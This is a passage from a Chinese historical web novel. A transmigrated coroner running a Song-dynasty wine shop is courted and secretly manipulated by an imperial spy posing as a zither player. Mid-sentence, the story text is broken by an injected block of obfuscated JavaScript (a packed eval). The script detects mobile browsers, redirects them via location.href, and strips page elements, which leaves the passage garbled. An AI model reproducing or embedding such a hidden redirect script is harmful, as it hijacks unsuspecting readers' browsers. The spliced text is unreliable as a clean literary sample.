《春风酒幡》 2. 琴音 他用这令符调走了春风酒幡周围所有暗桩,好让司马光的人能顺利进入酒坊,搜查……毁证…… 许知非坐在窗边,透过窗上一道不明显的缝隙,隐约能看见许云洲坐的地方。 他坐在那里很久,还抬头看了看她所在的窗户,最后把手里那枚琴轸收起来,起身离开。 那卷琴谱留在了石台上,纸页悉数散开,风一过,吹了几页落进池子里…… 接着又几页掉进去……许云洲身影跃过院墙,消失在夜色里。 石台上最后一页琴谱落入水中,最后一行晕散的字是神宗亲笔:“待君以此谱破此局。” 许知非扮作写字的姿态,看他身影离开才又出了房门。 不大的一片池水里满是泡透的纸,墨迹在水里晕得几乎看不清字迹,她捞起琴谱最后一页,看了又看。 “以此谱破此局?” 她不知道什么意思,总归像是针对她,从穿过来到他进了酒坊,再到今天,她遇到了接二连三的死人的事情。 若不是她老本行就是验尸的,尚且能自证亲白……若换成是原身在这里,怕是早死了一块儿去。 她定了定神,眉头微微皱了一下,把琴谱扔回水里:“就一个弹琴的……装什么装?笑死人……” …… 熙宁元年春,二月十八 京郊一方两进宅子隐在树林里,夜色深沉如墨,孤灯悬在头顶,许云洲只着素袍,坐在自家后院亭子里抚琴。 流水之畔,小石径上,小厮脚步匆匆跑进院里,递了个纸条给他:“公子,陛下找您。” 许云洲手一停,待琴音消散,他接下纸条,应道:“知道了,下去吧。” 他起身回房,关门后取出一身劲装换上,铜镜中,他面容温润平静,身后是房中的一桌、一椅、一榻,干净简洁。 他取下墙上那张七弦瑶琴,扫过一眼书桌角落里数卷文牒,开门离开。 烛光下,文牒最面上一份是:《庆历七年军器监许案概要》。 皇城司值房里,一个亲从官第二指挥的押班正等着他。 团团转之间见他大步行入衙属内院,急急脚迎出去。 “副使。”那押班抱拳道,“开封府辰时初递来密报,涉及一处旧案宅子,有些怪力乱神的东西,勾当官已看过,说陛下早已命您全权处置,您看……” 他说着呈上一封火漆密封的简函。 许云洲背着琴,接过之后拆封一看,目光在“春风酒幡”、“坊主许知非”几句上停留:“现场……有证物?” “在此。” 押班的递上一个油纸小包,打开后里面是一些粉末,褐色,还有一小节深青色的粗葛布条。 他拿起布条细看,没有什么特殊纹路,又闻了闻,那些粉末,眼底浮起一瞬了然。 “副使,可要卑职带人去这春风酒幡摸个底?” “不必,许家旧案是我在料理后续一些琐碎,我亲自去看看,”许云洲将油纸包里的东西重新包好,“你带两个察子,扮作寻常闲汉,在酒坊外面留意着进出人等即可,不要打草惊蛇。” “遵命。” 押班的犹豫了一下,又问:“副使,此案……是否与‘那边’有关?” 许云洲道:“旧宅被窃,贼人留下与酒坊明显相关的线索,有可能是栽赃,也有可能是巧合,也可能……是有人想借我们的手,去探一探那位许坊主的底。” 他往外走,将油纸包收进衣襟里:“无论是哪一种,既然线索指过去了,我们便顺着线走一走,只是你记住,你们的任务是看,不是动,违抗者,本座回头可要按皇城司规矩办。” 那押班的一哆嗦,抱拳道:“副使放心,卑职定遵令行事。” 许云洲似没听见般往外走,身影消失在皇城司衙属大门外。 …… 二月十七夜里,汴京更鼓敲过三响,内城西南隅便像睡了过去,许家旧宅自庆历七年至今从未醒过,此时便好像跟旁的宅子没什么不同,总归大家都睡了。 那里曾是显赫一时的军器监许府,十余年的光阴在朱漆大门上留下了密密麻麻的斑驳,破旧的封条早已脱落,翻卷着蜷在地上。 一个黑影翻过了西侧偏院一处断墙,棉布靴落地无声,伏在荒草中片刻,快步走向内宅主院。 满地残砖断瓦,翻倒的桌椅早已腐朽折断,应该是自己折断的? 那黑影从中穿行而过,显然熟知旧宅格局,很快,在内宅一处石阶前停下,蹲身在地面上摸索,随后在某处轻轻一按,院子里响起了细微的机括声。 四五块青砖应声而动,露出底下一尺见方的暗格。 黑影伸手去摸,发现只有潮湿的泥土……空的……那一双明眸明显的诧异。 “怎么会……这里不应该是空的啊。” 院落残墙外传来了脚步声,巡夜官兵压低的谈笑声隐约传来,黑影快速将地砖复原,一起身,衣摆挂到了旁边一节断落倒塌的栏杆上,布料撕下了一角。 匆忙中,一些细微的褐色粉末落在了青石地面上,半盏茶后,一队官兵循着细微的声响赶到这里。 一个年轻的兵卒满脸惶恐,低声道:“头儿,我听说,这里是鬼宅……” 那队正瞪了他一眼:“什么鬼宅!闭上你的鸟嘴,看看前面有没有小贼!” 许家灭门多年,这片宅子在百姓的口耳相传之下一到夜里便阴风阵阵,人人都说连狗都不去。 那队正警惕着往前走,忽然抬手:“等等!” 他一副细听细看的模样,鼻尖耸了耸:“……有新酒的酵味,有人进过!” 他拔刀低喝:“你们两个守住门,剩下的跟我进去看看,还有你,”他刀尖指了指刚才慌慌张张的小卒,“你回去禀告本铺督头,就说许家旧宅可能糟了盗,叫他加派些人手来。” 几个铺兵迅速散去,各司其职,而那个黑影,顺着街角巷尾,回到了御街以东,春风酒幡的后院里…… 遮脸的黑纱扬起,月色照见许知非略显慌张的神情。 …… 二月十九,午时刚过,风月楼又出了新酒,春风酒幡早间还热闹的生意渐渐冷清。 许云洲一身青灰长衫,抱着青布包裹的瑶琴走进酒坊中。 他腰间一枚鎏金琴轸微微摇晃闪烁,目光扫过酒坊各处,最后看见了许知非。 两人四目相对,零星酒客自他们身边走过,青禾打着算盘,抬头看了看,低头继续打算盘,高声道:“这位客官要点儿什么酒啊?新酿正好出了啊!” 许云洲全然一副琴师扮相,眉眼与这市井俗气格格不入,眼中静谧温润,清雅一笑:“这位可是许坊主?在下许云洲,游方琴师,昨日在城外听闻贵坊新酿不错,特来叨扰,亦想寻个合适的场子,以琴会友,换些盘缠。” 许知非一副少年扮相,面容清秀且略显阴柔,许云洲微微眯了眯眼,目光从她眼中落下,顺着她的脸颊游向她的脖颈…… 许知非有些发毛,这人这样看着自己做什么?她微微咬着牙关,看着那双过于沉静的眼睛,态度冷淡。 眼前男人陌生却漂亮,看起来人畜无害,可人生地不熟,她在原身惨兮兮的记忆里也没找到这人半分存在,他到底什么目的?她发现自己根本无从分辨。 她面无表情,用符合“坊主”身份的语气应道:“即是来交朋友的,那就坐吧。” 她没等许云洲回应,又转身对青禾说道:“你去后面把最后那坛新酒拿出来。” 许云洲的目光在她背后,自她腰身落向她脚跟,唇角微微勾起:“许坊主,在下有些时候没喝酒了,可否请教一二?” 许知非对赵伯招了招手,示意他收拾一张位置敞亮的桌子,才看向他:“许先生抬举了,小店这里不过是些粗酿,先生若不嫌弃,不妨先尝尝?” 她做了个请的手势,转过身去柜子边上取酒器,掩去了脸上些许绷不住的慌张,眨了眨眼,调整呼吸。 许云洲笑意更深:“多谢坊主。”他故意拉长了语调,微微歪着头,望见她有些闪烁不安的眉眼。 许知非将一盏新酿的玉壶春端到他面前,抬脸仍是冷淡模样,直直盯着他,将手里盛着酒器的托盘轻轻放下:“请。” 太巧了,姓许,偏生得气质出尘,在这时候出现……在这种脚店里……许家幸存幼女的酒坊…… 许云洲端起酒盏,看了看,又凑近鼻尖去嗅了嗅:“澄澈如玉,气蕴如兰,坊主这酿酒的手艺,不似北地一路,倒像是江南古法。” “许先生好见识,家传的粗陋方子,近两日揉杂了些古法,才有了这新酿,能得先生赏识,也算小店没有白忙活。” 那是她这两日加了些现代手法的玩意,但不能说出去…… 许云洲浅啜一口,闭目细品,睁眼时,满目赞赏:“醇厚绵长,回甘清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030738|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冽,好酒。” 他将琉璃酒盏放下,指尖捏着杯沿转了转:“不知坊中还有哪些品类?开业多久了?这般手艺,该早有名声才对。” 春风酒幡早在治平三年就开在这里,沽酒的队伍总是未及晌午就排在了门前。 老坊主是许家旧仆,去年年末刚过世,原身许知非是他扮作男孩养大的许家孤女。 都曲院那边的脚店月例配额已定,多一两也无,若要增购,除非转作正店,自有造曲之权。 “每月这点取引,酿了酒还要课许多税银,生意越好,越难做……曲不够,税银一分不少,分明就是捧正店,宰脚店。”青禾听见许云洲问,手指还打着算盘,嘴巴嘀嘀咕咕。 旁桌有人坐下,不沽酒,只与赵伯闲聊,许知非侧耳听着,是传了对面风月楼的话来,暗示可以转让部分配额,要高价…… 赵伯招呼着,不敢得罪,又逐渐有些应付不来。 许知非脸一拉,高声道:“转正店……要什么手续?” 赵伯瞬间抬了头,驮着的腰背都直了。 对方一身墨蓝直裰,即刻目光游移,最后看向许知非,张了张嘴又没开口,笑得一脸勉强,借口有事便往外走。 许知非冷着脸,不留也不送,向来就是不怒自威而不自知,赵伯怕就怕她这副模样。 按照原身的记忆,她是凑够了钱的,三个月的盈利,加上一点积蓄,只是…… 担保,核验,打点……她算是来历不明的人,又是女扮男装,除了老坊主,她在汴京毫无根基,无从下手…… 许云洲眼珠一转,笑道:“许坊主是不是……有些烦难?” “先生见笑了,烦难谈不上,只是嫌他烦人。” “看来许某人来得不是时候,过几日客多时再登门,免得扰了坊主正经生意。” 许知非不想留他,不管是琴师还是别的,此人都过于出尘,不属于这里,走了更好。 她微微点头,动作有些生硬,揖了一礼:“先生自便。” …… 那天之后,许云洲四五天没出现,直到,酒务司衙门贴出了告示。 许知非回房熄灯,躺下后细想了那天的情景…… 那告示前挤满了人,她好不容易挤到前面,看到:“奉户部札子、太府寺令,依熙宁新法,现放出内城御街东南正店名额一例,凡籍内脚店愿转正店者,于三月十五前至酒务司投递状书,具列家产抵当、年愿纳酒课额,并寻保三人,三月十五当堂拆封,课额高,抵当足,保状稳者得。” 她勉强站稳,挤在人群最前面看了又看,那是实封投状,是王安石变法中,将市场竞争引入官营领域的新政之一。 她确认了内容,挤出去,看见许云洲就站在人群外面,好像正好也看见她,颇自然,背着琴,还是一身青灰长衫,还是那副笑容。 不打招呼显得没礼貌,她只好冷着脸走过去,唇角微微扬了一下:“许先生。” 许云洲亦朝她靠近,远远便开口,声音正好穿透街上喧嚣:“许坊主可有把握?” 他在她面前站住,目光越过她,看向那张人群遮掉了一大半的告示,脸上温润不减:“这实封投状,投的是课额,更是对汴京酒市三年内的预判,坊主可知去年正店课额几多?” “课额?”她眉间微蹙,不是很明白,可以晚一点查据,但眼下不能怯。 她正要想个法子圆过去,赵伯从人群里挤出来,在她身后插了话:“小坊主,今年最少要一千八百贯才有胜算。” 许云洲目光落回她脸上,微微挑眉,眼神若有所思:“哦?” “若不出差错,竭尽全力,倒也不成问题,只是担保……”赵伯一脸愁容,没再说下去。 许云洲看了一眼赵伯,轻笑道:“在下游方之人,对这新政略懂一二,在官场上也认识几位旧友,或愿做保,只是……” 他看了看许知非的脖子,俯身靠近,在她耳边低语:“许坊主这女儿身,还需遮掩一二。” 许知非脊背一僵,眼睛睁着忘了眨,却见他笑意不改,直起身来,低头看着她:“坊主觉得如何?” “什么如何?” 她冷声问他,眼神本就锐利,听了他这半是威胁的话,又多了一丝锋芒。 许云洲露出一副怜悯之态,轻叹一声,目光飘到别处又转回来:“你我同姓,缘分不浅,坊主若是我义妹,这担保……就好办了。” 3. 索命 许云洲的脸在她脑海里挥之不去,她手边还有他早前留下的一件外袍,他一直没有要回去,她也一直没想起来还他。 她拿起那件衣服看了看,想起他那张人畜无害的脸,对自己刚刚说的话忽然有了些许愧疚。 可他真的跟司马光有什么……背地里的关系吗? 青灰色的细麻衣料触手生凉,隐约还有些他身上似竹似檀的味道。 他总是出现得太巧……总在她最需要的时候……除了……今晚…… 他两天就办妥了她转做正店所需的全部手续。 可那些担保人,赵书吏、李老板……还有一个胡老板……说是杭州有名的盐商?他们怎么会这么买他的账? 司马光的人进门的时候,目标很明确,除了故意打砸酒坊后院,几乎直奔酒窖,且还知道许知非藏东西的暗格在哪…… 许云洲一夜没来,可司马光的人刚走不久,他就又带着什么琴谱出现了,看那句话……好像本就知道什么…… 她心里像压了块石头,把那件外袍收进木柜里,又到床上躺下。 她想着那些关于许云洲的事情,想着想着睡了过去…… 刚入梦,外面传来几声狗叫,她猛地一睁眼,听见自己的心跳声。 “……想多了,不会死的……”她深呼吸,翻了个身,抱住身上的被子。 许云洲背着琴,蹲在酒坊门外逗狗,酒幌子在他头顶上飘摇。 两只黄狗长的差不多,绕着他转,蹦来跳去,吐出舌头,时不时叫一声,哈着气是想要他手里几块肉蒲。 一个察子玄衣蒙面,落在他身边:“公子,里行的人烧了几份手稿,砚台碎片带走了一片,酒坊内外,除了我们的人,暂无其他眼线。” “录白可有誊出?” “按您吩咐,昨日夜里,弟兄们已潜入酒窖,找到了暗格,将里面所有文书录白完毕,原件虽毁,但,内容保全。” 察子说着迟疑了一下,又道:“只是那方旧砚,确是许家旧物,无法替代,许小娘子怕是……心神俱损。” “心神俱损才好。” 许云洲对此并不关心,这“俱损”于他而言,似乎说的是什么器物,“里行此举看似打压,实则打草惊蛇。许知非的性子,心神俱损便会怒气当先……一怒之下,她会不顾一起追查,她会找出更多与旧案牵连的破绽……就让司马光的人在明处不断地逼她,我们……” 他站起来,看着狗:“在暗处看着就行,看她那双利眼往何处寻觅,又看会惊动哪些藏在深处的人。” 雨丝飘落下来,开春以来的第一场雨,竟下在这样的夜里,月色糊在了云层后面,之后干脆不见了。 许知非躺在床上没睡着,听见雨声,看了看窗户,淅淅沥沥的声音越来越清晰,她听了好一会儿……觉得有些安神。 “是来安慰我吗?……可这确实是我的情绪吗?还是她的?” 她有一些不属于自己的记忆,零零碎碎,好像…… “厉害了,活了两份……”她自言自语,又闭了眼。 许云洲把手里的肉蒲分散扔在地上,每一片都抛在不同的位置。 他抬头看了看这二层酒坊,雨丝细密,落在他脸上:“回皇城司。” 那察子低头算是领命,许云洲没让走,他就只能跟着。 两人身影在雨中渐渐模糊不清,两只狗抬头看了一下,匆忙去叼地上那几块肉蒲,险些打起来……最后一起跑进旁边一个油布遮住的摊子里,挤在一起取暖。 “大人,”察子在雨里淋得皱眉头,“许小娘子终是无辜受难,司马学士门下行事太过,卑职是怕……” “你我在这汴京不是一日两日,最是当知无辜二字不过虚妄。许家旧案若要细查,实则从未了结,王安石想借其变法图新,司马光视之为旧制疮疤。一个疑似许家血脉,又身负异术,还偏偏执着于翻案的女子,在两人看来,她本身就是活着的证据……或可利用,或可抹去,今始今日的处境不是因为她有什么错处,只因她自己偏要踩进这暗流里。” 那察子不敢再说,两人拐了几道弯,走进皇城司衙属。 许云洲把琴放在案上,又道:“我要的正是她这个位置,司马光急着要毁掉她,不杀也至少赶出京城。而王安石,想必早就收到了风声,只不过他精明,看起来没什么反应。两党角力,裂隙方生,许知非越痛苦,对我们而言价值就越大,我方才去安抚她,给她一点依赖,如此……不至于死了便可。” 那察子叉腰皱眉,叹道:“也是啊,她有钱有店,一个酒坊老板,较之寻常百姓,已算是人上人,吃些苦头也没什么。” 许云洲不以为意,指尖在琴底按了一下,机括弹出两把短剑,他取出来对着灯看,一线寒光在他脸上一晃而过。 “皇城司的职责,是廓清奸宄,安定宫禁,直奏御前。陛下命我查清庆历年间许家灭门旧案,厘清其中是否有妨害变法,动摇国本的隐患,想必是知道里面有些见不得人的东西。而许知非是眼下最清晰的线索,琴音可慰人亦可杀人,端看所需。” 那察子想了想,拿来架柜上一份记册,顺手记下了今日案情和进展,又道:“那司马学士那边……” “今日之后,许知非必不甘休,查司马光,她门都找不到,她唯一的出路,只有我。” …… 熙宁元年二月三十 汴河边,春风酒幡后门的酒招换了崭新的青布。 许知非已经到这里半个月…… 赵伯把一坛新酒倒出来,看着酒液盛满了琉璃壶,小心翼翼端到她面前:“小坊主,这坛新酒您还没尝过呢,这是……老坊主亲手酿的最后一坛了……” 许知非愣了一下,最后一坛? 宋代酿酒工艺她粗略看过,不知算不算缘分,“浊酒法”,粮食蒸煮之后加曲发酵,不过滤或只是简单过滤,酒液大多浑浊,酒精度数很低,如果温控不好或者卫生不到位,很容易酸掉。 所谓“绿蚁新醅酒”,那种浮泛着绿色沫子的,在许知非看来,简直就是微生物的狂欢。 她看了看那壶酒,拿起来摇了一下:“这种东西,我都不知道怎么卖。” 青禾看了看酒坛子,高声道:“前些日子不是改进过一些吗?照着做不行?” “放一放还是脏脏的,里面飘着东西,我这几日在想别的法子,不然,就算成了正店,也抢不到稳定的生意,除了推陈出新,咱们还得有些旁人偷不走的手艺。” 许知非知道青禾说的是她刚到这里第二天,因嫌弃酒脏,把酒用蒸馏的法子提纯的事。 但这旁人也容易学去,不是什么长久的办法,且没有竞争力,一顿操作下来,依旧不好看也不好喝…… 青禾和赵伯看着那壶酒,明显有些发愁。 许云洲换了一身月白暗纹的广袖袍,在仓库门口翻账本,腰间那枚鎏金琴轸晃着光,翻页的动作很慢,姿态雅致得像在弹琴。 她走进门去,冷着脸:“喂,你到底为什么帮我?” 许云洲懒懒开口,仍看着手里的账:“我没有帮你,我帮的是自己……” 他抬起头来,看着她,眸中含笑:“我在汴京需要一个落脚的地方,你这酒坊位置不错,你的手艺虽不够好,但好像也还可以,我们各取所需,做大这酒坊,未尝不可。” 他眉目如画,看她时眼神温柔得不真实,谁见了都会觉得这是个温润如玉的正人君子。 可许知非却总觉得哪里不对,又说不上来,总之天上掉馅饼的好事往往最邪门…… “好,那你承诺的东西,如何了?” 状书交上去已有三日,并没什么动静,许云洲轻轻合上账册,俯身与她平视:“你放心,诚意一定给足,这哥哥,你也不会白认的。” 许知非盯着他的眼睛,丝毫不露怯:“最好是。” …… 二月廿六 那是告示张贴出来之后的第二天。 他带着她去了开封府户曹,接待的书吏原本懒洋洋瘫在一张太师椅上,看见许云洲进门来,猛地坐直,险些连人带椅翻过去。 “许……许公子?” 根据原身的记忆,那书吏姓赵。 他好不容易稳住姿态,声音有些抖,许知非至今还记得那副夸张的模样,好像看见了什么很恐怖的东西。 她当时还看了一下许云洲,并没发现他有什么恐怖的表情,分明眉目温柔,甚至笑得很客气。 许云洲温声细语,拱手道:“赵大人,这是我义弟,想把春风酒幡过割正店,还请大人行个方便。” 那赵书吏看了许知非一眼,什么也没问,连连点头:“可以可以,许公子的事,抱在我身上。” 他让他们在厅里坐着,又让几个小厮端了茶水和果盘来,外带两三样精做的糕点。 许云洲姿态闲适,示意她吃,自己先吃为敬 许知非摆了摆手,拒绝,万一是什么下药的圈套呢?白嫖的东西都不大靠谱,不管是吃的,还是送上门的哥哥…… 她茶也不喝,只端详着那个宋制的真品建窑盏,敞口的兔毫纹路有点好看…… 她又想了想,转正店……那到时候兴许还能弄到几个曜变天目,店里摆一摆,又或者好好收起来,不知道算不算保护文物……不过藏在哪里好呢?考古队那边能不能挖到呢? 坐了不到半个时辰,她看看茶盏,又观察了一下周围环境,宋代的衙门,跟电视里演的差不多…… 情况过于安逸,许云洲自己喝茶吃东西,她慢慢就想了些不相干的事情。 那个赵书吏恭恭敬敬回来,双手捧了几张纸,送到许云洲面前。 “许公子过目。” 许云洲放下手里的将军盏,站起来,一副感激且笑纳的模样,比赵书吏高出不止一个头,躬身双手去接:“多谢。” 赵书吏的表情更夸张了些,氛围很诡异,许知非看他好像想跪下?不自觉地替他捏了把汗……这是社恐吗? 她左看右看,这两个人颇不正常,不知道是不是她自己初来乍到,还无法理解真实的宋代规矩,总之就是觉得……不至于吧…… 许云洲把那几页纸看了一遍,小心收起来,袖口滑了一块银子落在那个赵书吏手心里:“多谢大人。” 赵书吏动作极快,瞬间收了起来:“不敢不敢,许公子好不容易来一趟,有事随时说话。” 她越发不明白,可许云洲只是告辞,她又怕开口就漏出什么破绽,决定不问。 两个人离开户曹又直接去了李记染坊,那个李老板本来不在店里,伙计出门去传话,他很快就赶了过来。 许知非远远看着许云洲在染池边上跟他聊了几句,还没来得及走近听听说了什么,那个李老板已经转身去了二楼。 他回来得很快,带了张纸,递给许云洲:“公子过目。” 许云洲粗略看了一眼,收起来,只道:“有劳了。” 李老板也看了看许知非,也不问什么,只对许云洲说:“大家生意兴隆。” 许云洲微微点头,转身给了许知非一个眼神,抬手扳了她的肩往外走。 许知非配合演出,出门便甩开他:“还有一个,找谁?” 许云洲举目四顾,好像在挑选东西,最后目光落在州桥的方向:“那里,今日应还来得及。” 他说着就走,身影穿进人群里还是醒目,许知非小心跟着,街上人多,热闹得不行,没发现什么不正常的事。 他们一直走到汴河和五丈河交界的地方才停下。 许知非刚想问,抬头看见许云洲盯着河面,那样子看起来有些兴致盎然,好像在等什么有趣的事情。 “沙洲湾,咱们等一等。” “等什么?” “一艘船,河岸,渡口,你觉得还能等什么?” “你怕不是想骗我,他们凭什么那么听你的?” 许云洲默了默:“凭我琴弹得好。” 许知非抱臂冷笑,看向浪涌的河水,闻到风里的鱼腥和泥味。 “弹琴的事,还未领教,空口无凭。” “不急,既要拜把子,许某还是有诚意的。” 漕船货舟挤在水面上,不断发出碰撞声。 水碰船,船碰船,河浪卷了菜叶和碎木来,往岸上拍,一遍一遍地甩,有时候甩在泥上又卷回去,又好几遍才甩回来,幸好,终究会拍在岸上。 许知非看着河水,不说话,三艘胡记盐船从码头退出来,看样子是要往城东方向去。 “胡老板的规矩,官盐走明面,一些灵活调剂的货,要在眼皮底下入库。” 许知非听着这话似乎有些暗语,大概知道怎么回事,又看见那三艘船刚刚调过舷就顿了一下,正想说,听见一个中年男人的声音从船上飘过来:“老吴!稳着点!” “有东西把他们绊住了。”她说。 许云洲点头:“嗯,有点可怜,不过……只是一点点。” “是因为他们做些不合规矩的勾当?” “不清楚,我只是说我的感觉。” 许知非想了想,还是担保的事情要紧,问道:“那我们要等的船呢?” 许云洲回头看向身后漕口街市,鱼摊已收得七七八八,管事和工头嗓门很大,催促着力工把最后上岸的货搬进仓库里,骂得难听,看似着急,却都闲闲站着,账本笔墨都收好了,算盘都归了位。 “今晚在这寻个落脚的地方,明天拿到了担保文书,我们直接去都曲院。” 许云洲对她笑了笑,俯身靠近:“坊主放心,合本的本钱,许某一定给足。” “看你表现。” 沙洲湾是汴河甩出的一个淤积湾口,水势平缓,岸滩开阔。 南下北上的漕船验货歇脚……私下交易……都在这里。 漕口客栈蹲在湾口最窄的地方,两层小楼有些歪斜,有点探向河面,房檐看起来好像随时会扑进水里。 许知非推开二楼临河房间的木门,河泥的土腥和水草、桐油、生铁……各种气味来来回回,扑了她一脸……门一关,又一脸…… 许云洲把琴放在满是酒污……走近了还散发着劣质酒气的桌子上,自己走到临河的窗边。 “胡永昌的盐船。” “所以呢?” 许知非走到他身边,看了看还在河道水面上停着的三艘货船:“你要做什么?” 这人来路不明,也不知道会干些什么,她心里有些发毛,觉得还是小心些好,微不可察地往旁挪了一点,离他远了一些。 “吃水最深的那艘是头船,戌时三刻,他的船会移到东岸私家码头,去卸私货。”许云洲盯着船,没看她。 “你怎么知道他会签押?认识?” 许云洲摇头:“去年,他有一批盐,在陈留县折损五十引,实则,是掺了河东苦盐,高价卖出。” “你要威胁他?” “我能给他个好处,许他下个月扬州到汴京的加急纲名额,他的盐能比旁人早十日入京,市价可高两成。” 许知非看见他袖口似乎有一处旧伤,一条疤痕从袖子里露出来。 “知道这么多?小道消息?” “游方所需,朋友多,知道的自然多,能用到的时候……就能用到。” 他说着往外走,拉开门:“坊主在此等候便可,今夜我自会找胡老板拿到我的本钱。” 房门轻轻关上,许知非站在窗边,河风从身后吹进来,她额上散落的发丝拂在脸上。 亥时末,胡记盐船,还没到私家码头,胡永昌一身杭绸直裰,正就着一盏羊角灯看一本私账,许云洲敲了敲他船舱的门。 “胡老板,夤夜打扰,恕罪。” 他内息凝在手上,稍稍一推,在门开的一瞬,抬眼看向他,神情温润依旧,姿态端端,走进去,一拱手,礼数周全,却有些说不出的诡异。 “在下许云洲,汴京春风酒幡许坊主之义兄,有事相求,不得已在此相候。” 他说得越温和,越是让人脊背发凉,胡永昌抠着桌上的紫檀木算盘,强撑出几分圆滑和审视:“许公子这阵仗,不像相求,倒像是……” “强人所难。”许云洲微微一笑,坐在他对面那张竹椅上,一只手伸直了打横搭在扶手上,一只手指着下巴,一副懊恼的表情,翘着二郎腿,动作夸张到像这船是他的。 “胡老板是明白人,去岁秋,您那批扬州精白盐走汴河入京,共八百引,可报备漕司的,只有七百五十引,还有五十,掺了三成河东苦盐,却仍按精白盐的价,走的事……陈留县张主簿的路子?” 门外船舱外面砰砰几声砸向,又两个黑衣人从窗上翻进来,胡永昌脸上血色一下干干净净:“你……你们怎……怎么……” 许云洲拿出一份商铺联保契书,推到他面前:“我义弟欲将春风酒幡转作正店,需要三个保人,还差一个。” 他指尖点在签押空白处:“今夜许某唐突,改日定当携礼登门致歉,至于陈留县张主簿那边……”他抬眼盯着他,“他最近有些心思,想调回京中户部,这个节骨眼上,想必也不愿多生事端,风平浪静,对大家都好,胡老板觉得呢?” 胡永昌知道其中意味,恨恨点头:“好……笔!” 许云洲微微一笑,起身研墨,动作慢条斯理,沾饱了笔,递过去:“胡老板深明大义。” 子时,许知非刚解下发髻,听见外面传来脚步声。 许云洲从客栈后门绕回,步子还算稳,猛地一推门,一只脚踩进屋里,一只脚停在了门外。 门敞着,河风从窗外灌进来,许知非长发飘飘,身上是一件细麻里衣,裹胸的布条松松散散卷在桌上。 “你……” 他右手虚握着,垂在一边,有些想藏起来的小动作,指缝里……血? 许知非一个验尸的,对血和伤的直觉敏锐且迅速,她起身走过去,把他拉进门来。 “你受伤了?” 许云洲把手往身后收:“小擦碰,不碍事。” 一滴血落在地上,许知非低头看了一眼,长发顺着肩线滑到胸前,藕粉色的里衣衣襟没有束紧,有一点点散开。 现代人的感官里并没觉得这有多暴露,她一把抓起他的手,举到他面前:“刀伤,小擦碰?” 许云洲试图抽手,却没使劲,动了一下,下意识地解释:“胡永昌不甘心,只是警告我,不敢怎样。” 许知非看向那道伤口,寸余长,自下而上挑割,若不是他防备了又或者对方不够厉害,这手的肌腱算完了。 “这么狠的一刀,是要废了你的手,你管这叫‘不敢怎样’?” 许云洲盯着她,眼神有些光点一晃而过,咬了一下舌尖,笑意漾开:“许坊主莫急,废不了,琴还是能弹的。” “坐下。” 许知非见他一副古怪样子,神经病……还高兴起来了,这是什么怪咖? 他右手伤口翻着皮肉,血还在渗出来,顺着虎口蜿蜒往下,滴在他的衣摆上。 “不许动。”她把他的手放在桌上,目光在这房间里扫了一圈。 她需要工具…… 她抓起桌上的水壶摇了摇,有水,可水不干净…… 她看向开着的房门:“等着。” 她小跑着出去,正要带上门,一只手从里面把门扳住。 还没合上的门又再打开,一只手臂伸出来,抓住了她。 “你就这样出去?” 许云洲把她拉了回来,低头看着她,好像有些诧异,还有些……生气? 许知非的感官里,披头散发和这身衣服足够遮掩,一时没想起古代的规矩,抬头一脸疑惑,看着他:“啊?” 许云洲听她一声“啊?”,脸色更精彩了些,低声道:“……许坊主,你是不是忘了你是女子。” “我……”许知非低头看了一下,想起来古代女孩子是不能穿这样披头散发出门去的,她淡定回屋,拿起自己的衣服,随意穿上,一面走出去,一面草草打了个结,“多谢提醒。” 她头也不回,小跑着出去,木质楼梯发出细微的吱呀声,客栈掌柜拿着烛台从柜台后面的小门里走出来。 “客官?” 许知非吓了一跳,没来得及反应,掌柜的又道:“可是要热水?后厨还温着。” 许知非定了定神,看清他表情动作,确认他没有恶意,开口道:“有没有针线,走太急,衣裳扯破了。” “针线有……”掌柜看了看她身上的衣裳,“粗麻线行不?” 他从柜台底下摸出一个藤制的小箩,孤灯暗火下,里面可以看见线轴、顶针、几枚大小不一的针,还有剪子、锥子……凌乱随意,堆在一起。 “这个就行。” 许知非拣了拣,找到了最细长的缝衣针,又找到了一轴细棉线,白色的,看着相对干净些,还有,小刀…… 她放下几枚铜钱,又对他说:“可有最烈的烧酒,不要掺水的。” 那掌柜脸上皮肉微微一僵,抬头看了看二楼,整个人往后搐了一下。 许云洲站在客房门口,身影在暗处一动不动,黑漆漆的像个蹲守孤魂的罗刹。 许知非抬头看了看,又道:“掌柜?” 掌柜的一回神,连连回应:“有有有,咱们家自酿的,烈得很,客官小心用。” 他从身后架柜上取了一个黑陶小壶,巴掌大,木塞很新。 许知非打开闻了闻,劣质酒精呛了她一鼻子,纯度还是不高,看样子也不会干净…… “用盐吧,热水也要,帮我送到门口。” “好,小老儿这就去取。” “多谢。” 她把酒壶放下,拿起一样样东西,快步上楼,看见许云洲站在房门口,楼下,掌柜端着水盆的脚步声慢却稳健。 “你进来。” 她跑进客房里,把东西放在桌上,发现自己裹胸的布料随风飘到了许云洲的琴上。 河风吹进来,那些布料微微颤着,松松卷着,要掉不掉的样子。 她连忙抓起来,卷好了收在衣襟里,回头发现许云洲还在门口,好像在看什么东西。 她又跑出去,拦下了刚到二楼的老掌柜,把盐罐揣在自己身上,接过水盆。 “谢谢,辛苦了,您早点睡。” 那掌柜听了一愣,不经意间看向许云洲,那一脸温柔得诡异的笑又把他吓了一跳,他忙点头退开:“好,客官有什么事再来吩咐就是。” 许知非端着水盆进屋,又回头喊他:“你进来啊!” 许云洲站在门口看着她,微微歪了头,眼神复杂难明,淡淡答道:“好啊。” 他慢慢走进屋里,又慢慢关上门,许知非拿了一只茶碗,勺了小半碗热水,把一大勺盐倒在里面搅了搅。 她把缝衣针和棉线放进盐水里,拿起一把在箩筐里找到的小刀,放在烛火上烤。 “这是要……” 许云洲在她身边坐下,抬头看着她。 “清创,缝合。” 她手停了一下,把刀放下,取出自己收起来的裹胸布,猛地撕下一小片,泡进盐水里。 “手。” 许云洲把手伸过去,她看都没看,一抬手就握住了他的手腕。 她把浸了盐水的棉布捏干,坐在他面前,一点点擦拭他伤口边缘的血污和污渍。 